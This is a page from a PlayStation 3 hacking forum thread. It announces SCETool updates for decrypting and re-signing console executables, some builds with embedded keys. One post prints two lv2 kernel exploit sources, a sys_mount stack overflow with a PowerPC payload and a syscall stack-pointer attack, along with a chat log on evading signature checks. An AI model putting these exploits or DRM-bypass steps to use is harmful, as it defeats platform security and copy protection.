Sponsored Links

Sponsored Links

Page 4 of 24 FirstFirst ... 2345614 ... LastLast
Results 31 to 40 of 235



  1. #31
    Senior Member niwakun's Avatar
    Join Date
    Jun 2009
    Posts
    530
    Sponsored Links
    Sponsored Links
    does anyone have the ldr_curves, vsh_curves or how to obtain them. thanks

  2. #32
    Member Tepoo's Avatar
    Join Date
    Jan 2011
    Posts
    67
    Sponsored Links
    Sponsored Links
    is it possible to extract and pack an eboot.bin to make it from retail disc to debug update?

  3. #33
    Forum Moderator PS3 News's Avatar
    Join Date
    Apr 2005
    Posts
    27,395
    Sponsored Links

    PS3 SCETool v0.2.8 by Naehrwert Updated, Adds SPP Parsing

    Sponsored Links
    Following up on his previous release, this weekend Sony PlayStation 3 hacker Naehrwert has updated SCETool to version 0.2.8 which now includes SPP parsing among the changes outlined below.

    Download: [Register or Login to view links] / [Register or Login to view links] (Required)

    For those unaware, SCETool is a PS3 key crypto tool that supports a wide range of binary file types (SELF, RVK, PKG, SPP, OTHER).

    To quote via Twitter: SCETool 0.2.8 (intermediate release)

    Version 0.2.8 (intermediate release):
    • Fixed minor bugs where scetool would crash.
    • Added SPP parsing.
    • Decrypting RVK/SPP will now write header+data to file.


    PS3 SCETool v0.2.8 by Naehrwert Updated, Adds SPP Parsing

    More PlayStation 3 News...

  4. #34
    Senior Member Brenza's Avatar
    Join Date
    Sep 2010
    Posts
    296
    Question: Can i use scetool to convert retail self to elf and elf to debug self? If yes can you explain how?

    I tried using 3.41 keys revision 08 but it didn't work. Should i use 0.96 keys?

  5. #35
    Senior Member Blade86's Avatar
    Join Date
    Dec 2010
    Posts
    210
    Plz someone tell us

  6. #36
    Forum Moderator PS3 News's Avatar
    Join Date
    Apr 2005
    Posts
    27,395

    PS3 SCETool v0.2.9 by Naehrwert Updated, Adds NP Fix and More

    Following up on his previous release, today Sony PlayStation 3 hacker Naehrwert has updated SCETool to version 0.2.9 which now includes an NP application types fix and more followed by an unofficial update from Gamma Argon as detailed in the changes below.

    Download: [Register or Login to view links] / [Register or Login to view links] (Required) / [Register or Login to view links] (Mirror) / [Register or Login to view links] (no zlib1.dll or data folder required) by ben.ss7 / [Register or Login to view links] by TheUnkn0w / PS3 SCETool v0.2.9 (4.46 keys) by Smhabib and Naewhert / [Register or Login to view links] by Deroad (aka Wargio) / [Register or Login to view links] by SMOKE / [Register or Login to view links] / [Register or Login to view links] by Gamma Argon

    Version 0.2.9
    • Plaintext sections will now take less space in metadata header keys array.
    • Added option to specifiy a template SELF to take configuration values from.
    • Added option to override the keyset used for en-/decryption.
    • Fixed NP application types.
    • [Firmware Version] will now be written to control info only.
    • [Application Version] will now be written to application info only.

    Finally, from ben.ss7: Here is a scetool v0.2.9 which has zlib1.dll and the data folder embedded within the exe, which means it doesn't require you to have zlib1.dll and the data folder for keys.

    The original scetool source code hasn't been touched and it shouldn't have any issues. The keys which have been embedded in to this exe are:
    • NP_tid
    • NP_ci
    • NP_klic_free
    • NP_klic_key
    • NP_sig
    • metldr
    • bootldr(lv0)

    If any user wants me to embed all the keys up to 4.31 PM me. Enjoy

    Update: From TheUnkn0w via IRC: Updated my sce_encrypt tool, supports drag and drop decryption, added a checkbox for compression and fixed a few bugs Just paste it into your scetool folder and run, makes decrypting/encrypting files far more easier.

    Version 0.3.0
    • Added option to specify the data path

    From toolboy2012: Hi Guys, So, I decided to make one more nice update to the SCETOOL, so we could seriously clean up that "::makeself{}" routine.....so I added one more command, so that we could dump the specific fields we need to save off from the original SELF header, so we can re-create it with the same data (rather than build these enormous lists of authids, vendorids, etc!)

    So now the "SCETOOL -w" command will dump the specific header info we need to PS3MFW, (example is below):

    So I dump the following fields:
    1) KEY-REV
    2) AUTH-ID
    3) VENDOR-ID
    4) SELF-TYPE
    5) VERSION
    6) CTRL FLAGS
    7) CAPAB FLAGS
    8) COMPRESSED
    Code:
    scetool -w appldr_355.self
    scetool 0.3.1 <public build> (C) 2011-2013 by naehrwert
    NP local license handling (C) 2012 by flatz
    
    Key-Revision:00
    Auth-ID:1FF000000C000001
    Vendor-ID:00000000FF000000
    SELF-Type:LDR
    Version:03.55
    CtrlFlags:0000000000000000000000000000000000000000000000000000000000000000
    CapabFlags:0000000000000000000000000000000000000000000000780000000000000000
    Compressed:FALSE
    So, there are a couple of new routines I had to add in my "ps3mfw_base.tcl", and the updated "scetool.exe"....

    so feel free to take what you need... so my new ::makeself routine utilizes these fields, all read into a global array... and the routine is now much simpler/cleaner.

    Note: I still want to review the "self-app-version" & the "self-fw-version" fields in the SCETOOL, and see where exactly they actually reside in the SCE headers, as I would like to get them 100% copied over as well, right now I'm setting both to the "version" field (ie 3.55, etc)

    SCETool Unofficial Update by Gamma Argon: Unofficial minor update to scetool.

    1. in release of official scetool firmware version was not added to control info when re-signing non-NPDRM eboots (functionality was already coded but not used).
    Code:
    original eboot:
    Key Revision 0001
    Auth-ID 1010000001000003
    Vendor-ID 01000002
    SELF-Type 00000004 APP
    APP Version 0001000000000000
    FW Version 0003150000000
    Control Flags 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Capability Flags 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 3B 00 00 00 01 00 04 00 00
    
    eboot re-signed with scetool:
    Key Revision 0001
    Auth-ID 1010000001000003
    Vendor-ID 01000002
    SELF-Type 00000004 APP
    APP Version 0001000000000000
    FW Version 0000000000000
    Control Flags 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Capability Flags 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 3B 00 00 00 01 00 04 00 00
    
    eboot re-signed with unofficial update:
    Key Revision 0001
    Auth-ID 1010000001000003
    Vendor-ID 01000002
    SELF-Type 00000004 APP
    APP Version 0001000000000000
    FW Version 0003150000000
    Control Flags 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Capability Flags 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 3B 00 00 00 01 00 04 00 00
    (still does not add firmware version when using template option, see below)
    
    2. added option -p
    uses template function to print out self encryption parameters:
    
    scetool -p eboot.bin
    
    Key Revision 0001
    Auth-ID 1010000001000003
    Vendor-ID 01000002
    SELF-Type 00000004 APP
    APP Version 0001000000000000
    FW Version 0003150000000
    Control Flags 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Capability Flags 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 3B 00 00 00 01 00 04 00 00
    
    3. feature request
    added ability to specify firmware version and/or key revision with template option
    used to add firmware version to control info or change firmware version/key revision
    
    scetool -0SELF -tTEMPLATE.SELF -e INPUT.ELF OUTPUT.SELF
    scetool -0SELF -60003001500000000 -tTEMPLATE.SELF -e INPUT.ELF OUTPUT.SELF
    scetool -0SELF -2000A -60003005500000000 -tTEMPLATE.SELF -e INPUT.ELF OUTPUT.SELF
    
    4. moved 2 features from private build configuration to public build:
    with public version can dump individual seed and use -a option, input individual seed
    with public version watermarks no longer added to NP section or to key table when encrypting files
    Please note: you may notice some difference between an original self and a re-encrypted self (header size, key table). These changes are the same for official scetool and the unofficial update.

    OS: windows, requires standard windows dll's only (vc).

    PS3 SCETool v0.2.9 by Naehrwert Updated, Adds NP Fix and More

    More PlayStation 3 News...

  7. #37
    Banned User
    Join Date
    Aug 2012
    Posts
    38
    That zlib1.dll is outdated (1.2.5). The latest version is 1.2.7 (many improvements have been made). You can get it here:

    [Register or Login to view links]
    or
    [Register or Login to view links]

  8. #38
    Senior Member Ezio's Avatar
    Join Date
    Aug 2011
    Posts
    355
    The last versions of scetool work fine also without zlib1.dll, I tested them myself.

  9. #39
    Forum Moderator PS3 News's Avatar
    Join Date
    Apr 2005
    Posts
    27,395

    PS3 LV2_Kernel Exploit Sample Implementation By Naehrwert

    Following up on his PS3 SCETool update and PS3 Dump_Rootkey code, today Sony PlayStation 3 hacker Naehrwert has posted some details on exploiting the PlayStation 3 lv2_kernel and has made available a sample 3.41 implementation below.

    To quote from his blog: Exploiting (?) lv2

    A long while ago KaKaRoTo pointed me to a stack overflow he found while reversing lv2_kernel. But there are two problems:

    1. The vulnerability is in a protected syscall (the SELF calling it got to have the 0x40... control flags set). So you’d first need to find a suitable usermode exploit (don’t ask us), that gives you code execution with the right privileges.

    2. The payload data is copied to lv2 heap first and the function will do a free call on it before the payload has any chance to get executed. This might not sound like a problem but it looks like lv2′s heap implementation will overwrite the free’ed space with 0xABADCAFE and thus destroy the payload.

    Here (pastie.org/4755699) is my sample implementation for 3.41 lv2_kernel (although the vulnerability should be present in all versions of lv2 up to the latest firmware), maybe someone of you will find a way to overcome problem (2.) and can get something nice out of it because right now it’s only good to crash lv2.
    Code:
    /*
    * lv2 sys_mount stack overflow
    * Original finder: KaKaRoTo (thank you for pointing it out!)
    * Note: all offsets/values/addrs in this source are 3.41 specific
    */
    
    #include <stdio.h>
    #include <ppu-types.h>
    #include <ppu-lv2.h>
    
    /*
    unk2, unk3 is what we're going to use here.
    lv2 will handle unk2, unk3 like this:
    char *strlist[FIXED_SIZE]; //On stack.
    for(i = 0; i < unk3; i++)
    	strlist[i] = strdup_from_uspace(*unk2++);
    */
    static s64 sys_mount(const char *dev /*r3*/, const char *fs /*r4*/, const char *path /*r5*/, 
    	u64 unk0 /*r6*/, u64 wp /*r7*/, u64 unk1 /*r8*/, const char **unk2 /*r9*/, u64 unk3 /*r10*/)
    {
    	lv2syscall8(837, (u64)dev, (u64)fs, (u64)path, 
    		(u64)unk0, (u64)wp, (u64)unk1, (u64)unk2, (u64)unk3);
    	return_to_user_prog(s64);
    }
    
    //For testing.
    static void patch_access_check()
    {
    	//check_access @ 0x80000000000505D0
    	//li r3, 1 ; blr
    	lv2syscall2(7, 0x80000000000505D0ULL, 0x386000014E800020ULL);
    	printf("[*] DEBUG: access check patched.\n");
    }
    
    int main(int argc, const char **argv)
    {
    	//Problem: The mount syscall needs the 0x40 ctrl flag (root) to be set.
    	//Solution: Find a usermode exploit in a SELF that has them set.
    	
    	//Patch the ctrl flags check for testing.
    	patch_access_check();
    	
    	//Nop.
    	char nop[] = "X";
    	
    	//Payload.
    	char payload[] = 
    	{
    		//Insert valid PPC code here (without 0x00 bytes)
    		//and hope lv2 heap 0x27 is executable and 0x04 aligned.
    		0x38, 0xE0, 0x7E, 0xF0, //li r7, 0x7EF0
    		0x38, 0xE7, 0x01, 0x10, //addi  r7, r7, 0x110
    		0x78, 0xE7, 0x83, 0xE4, //sldi  r7, r7, 16
    		0x78, 0xE7, 0x07, 0xC6, //sldi  r7, r7, 32
    		0x60, 0xE7, 0x91, 0x34, //ori   r7, r7, 0x9134
    		0x7C, 0xE9, 0x03, 0xA6, //mtctr r7            ; 0x8000000000009134 (sys_sm_shutdown)
    		0x38, 0x60, 0x02, 0x10, //li    r3, 0x210
    		0x38, 0x63, 0xFF, 0xF0, //addi  r3, r3, -0x10 ; 0x200 (reboot)
    		0x7C, 0x84, 0x22, 0x78, //xor   r4, r4, r4    ; 0
    		0x7C, 0xA5, 0x2A, 0x78, //xor   r5, r5, r5    ; 0
    		0x7C, 0xC6, 0x32, 0x78, //xor   r6, r6, r6    ; 0
    		0x4E, 0x80, 0x04, 0x20, //bctr
    		//End of payload.
    		0x00
    	};
    	
    	//List containing the entries.
    	//stack frame size is 0x1C0
    	//strlist = framptr + 0xE0
    	//remaining stack frame size is 0xE0 (28 * 8)
    	#define LIST_LENGTH (28 + 2 + 1)
    	const char *list[LIST_LENGTH] = 
    	{
    		//-0xE0
    		//Overwrite stack with nop entries (0xE0 bytes).
    		nop, nop, nop, nop, nop, nop, nop, nop, //0x40
    		nop, nop, nop, nop, nop, nop, nop, nop, //0x80
    		nop, nop, nop, nop, nop, nop, nop, nop, //0xC0
    		nop, nop, nop, nop,
    		//0x00
    		//Fill 0x10 bytes to reach saved r0.
    		nop, nop,
    		//+0x10
    		//Overwrite saved r0 with a pointer to our payload.
    		payload
    	};
    	
    	//Doit!
    	printf("[*] Taking the plunge...\n");
    	s64 res = sys_mount("FOO", "BAR", "XXX", 0, 0, 0, list, LIST_LENGTH);
    	printf("[*] Error: sys_mount returned (res = 0x%016lX).\n", (u64)res);
    	
    	return 0;
    }
    From Mathieulh (via pastebin.com/naxXkv3M):
    Code:
    Sep 04 13:16:42 <Mathieulh>     I just posted one last thing
    Sep 04 13:17:05 <Mathieulh>     I dislike being called "king of liars" especially by someone who doesn't understand sht about ps3 self crypto
    Sep 04 13:17:25 <Mathieulh>     and yeah I said the truth
    Sep 04 13:17:31 <Mathieulh>     this footer signature
    Sep 04 13:17:33 <Mathieulh>     is not checked
    Sep 04 13:17:35 <Mathieulh>     even in 4.21
    Sep 04 13:17:37 <Mathieulh>     go figure
    Sep 04 13:17:44 <Mathieulh>     at least not upon npdrm self execution
    Sep 04 13:17:59 <Mathieulh>     I believe it is checked while the packages install
    Sep 04 13:18:03 <Mathieulh>     but that's something else
    Sep 04 13:18:31 <Mathieulh>     I don't even think it was called on 3.55 at all, (the function that does the stuff)
    Sep 04 13:18:33 <Mathieulh>     that's also wrong info
    Sep 04 13:18:35 <Mathieulh>     I gave kakaroto
    Sep 04 13:18:40 <Mathieulh>     over a week of work
    Sep 04 13:18:48 <Mathieulh>     with everything one would want to know
    Sep 04 13:18:52 <Mathieulh>     about self format
    Sep 04 13:19:16 <Mathieulh>     but he called it "useless" without revealing what I gave him
    Sep 04 13:19:31 <Mathieulh>     and he claimed how all of this was already public when most wasn't
    Sep 04 13:19:47 <Mathieulh>     he did all this along with his pamphlet in order to hide his incompetence
    Sep 04 13:20:04 <Mathieulh>     as he was "begging" me (literally) to get the extra info he needed to get his hack to work
    Sep 04 13:20:09 <Mathieulh>     and I told him to figure the rest himself
    Sep 04 13:20:12 <Mathieulh>     and he never could
    Sep 04 13:20:19 <Mathieulh>     figures
    Sep 04 13:20:34 <Mathieulh>     zecoxao, I gave him something he needed
    Sep 04 13:20:42 <Mathieulh>     but he wanted me to supply ALL the work
    Sep 04 13:20:48 <Mathieulh>     and I wasn't ok with that
    Sep 04 13:20:58 <Mathieulh>     the more I gave him
    Sep 04 13:21:00 <Mathieulh>     the more he asked
    Sep 04 13:21:32 <Mathieulh>     but yeah
    Sep 04 13:22:03 <Mathieulh>     if you can actually resign lv0, and put your own keyset in appldr on 4.21
    Sep 04 13:22:16 <Mathieulh>     and set your own keyset to something higher than 0x0D
    Sep 04 13:22:35 <Mathieulh>     and build a complying npdrm that has all the new values appldr checks, WITHOUT the so called footer
    Sep 04 13:22:37 <Mathieulh>     and run it
    Sep 04 13:22:41 <Mathieulh>     it runs just fine...
    Sep 04 13:22:51 <Mathieulh>     (yes, I did test this)
    Sep 04 13:23:18 <Mathieulh>     they do whitelist anything older than keyset 0x0D now for npdrm too
    Sep 04 13:23:32 <Mathieulh>     so crafting npdrms for 4.21 would not work on ofw now
    Sep 04 13:23:38 <Mathieulh>     but that stupid footer
    Sep 04 13:23:47 <Mathieulh>     which he claims is why whatever I told him was BS
    Sep 04 13:23:54 <Mathieulh>     is STILL NOT CHECKED
    Sep 04 13:24:22 <Mathieulh>     Kraparoto banned me from all the chans he is op as soon as I exposed him
    Sep 04 13:24:27 <Mathieulh>     how mature of him eh ?
    Sep 04 13:25:22 <Mathieulh>     so not only he is an incompetent whining kid, but he also totally lacks maturity
    Sep 04 13:25:28 <Mathieulh>     so I am done with the stupid drama
    Sep 04 13:25:32 <Mathieulh>     or talking to him
    The footer signature is still not checked upon npdrm self files execution as of 4.21.

    Because kakaroto says something that doesn't make it true. Basically he found a check in 3.55 that was not even called and assumed they used it in 3.60+.

    Of course they do whitelist npdrm now so even if the footer isn't checked you cannot run your own npdrm selfs signed with keyset lower than 0x0D making the whole debate rather pointless. Aditional checks are now performed on the actual file format as well such as the segment counter flag that needs to be set to 0x01 except for the very last segment.

    Finally, from KDSBest (via twitlonger.com/show/jcmh80): Since naehrwert posted an lv2 exploit I will do so too . The stack pointer points to lv2 and if we do a syscall, the syscall saves register to the stack HAHA.

    Btw. It just crashes the console for now, since I totally overwrite dump the lv2 or some memory addresses I don't know. Feel free to try around, adjust the address of the stackpointer and so on. If you managed to get the panic payload executed. Tell me!!! ^^
    Code:
    //compile: ppu-gcc kds2.c -o kds2.elf
    //or: ppu-lv2-gcc kds2.c -o kds2.elf
    
    register unsigned long long payloadHolder2 asm ("r21");
    register unsigned long long payloadHolder asm ("r20");
    register unsigned long long stackpointer asm ("r1");
    register unsigned long long counter asm ("r25");
    register unsigned long long bufferStackpointer asm ("r26");
    
    int __volatile__ main(int argc, const char* argv[])
    {
    // backup Stack pointer
    bufferStackpointer = stackpointer;
    
    payloadHolder = 0x3960024F3960024FUL;
    payloadHolder2 = 0x4400000244000002UL;
    
    // Incrementer
    counter = 0x00;
    
    // Play with that address till the panic is executed, I lack of time todo so
    // add always 2 or 4 to it, i would try 4 or 8... bla bla you will get the idea
    stackpointer = 0x8000000000000100UL;
    doItAgain:
    // KDSBest Payload
    // Prepare for our Syscall
    
    asm("li %r0, 0x0");
    asm("li %r3, 0x6");
    asm("li %r4, 0x1");
    // li r11, 0x24F -> PANIC
    asm("mr %r22, %r20");
    asm("mr %r23, %r20");
    asm("mr %r24, %r20");
    asm("mr %r27, %r20");
    asm("mr %r28, %r20");
    asm("mr %r29, %r20");
    asm("mr %r30, %r20");
    asm("mr %r31, %r20");
    
    // Stack Pointer = Build Address of LV2
    stackpointer += counter;
    
    // Syscall 0xA9
    asm("li %r11, 0xA9");
    asm("sc");
    counter += 0x04;
    
    // We write sc
    asm("mr %r22, %r21");
    asm("mr %r23, %r21");
    asm("mr %r24, %r21");
    asm("mr %r27, %r21");
    asm("mr %r28, %r21");
    asm("mr %r29, %r21");
    asm("mr %r30, %r21");
    asm("mr %r31, %r21");
    
    // Stack Pointer = Build Address of LV2
    stackpointer += counter;
    
    // Syscall 0xA9
    asm("li %r11, 0xA9");
    asm("sc");
    counter += 0x04;
    
    
    if(counter < 0x1000000)
    goto doItAgain;
    
    stackpointer = bufferStackpointer;
    return 0;
    }
    I didn't managed to make it work on 4.21 so I just did on 4.20

    PS3 LV2_Kernel Exploit Sample Implementation By Naehrwert

    PS3 LV2_Kernel Exploit Sample Implementation By Naehrwert

    More PlayStation 3 News...
    Attached Files Attached Files

  10. #40
    Senior Member JOshISPoser's Avatar
    Join Date
    Jan 2011
    Posts
    297
    what does all that mean?

 

Sponsored Links

Page 4 of 24 FirstFirst ... 2345614 ... LastLast
Affiliates - Contact Us - PS3 Downloads - Privacy Statement - Site Rules - Top - © 2014 PlayStation 3 News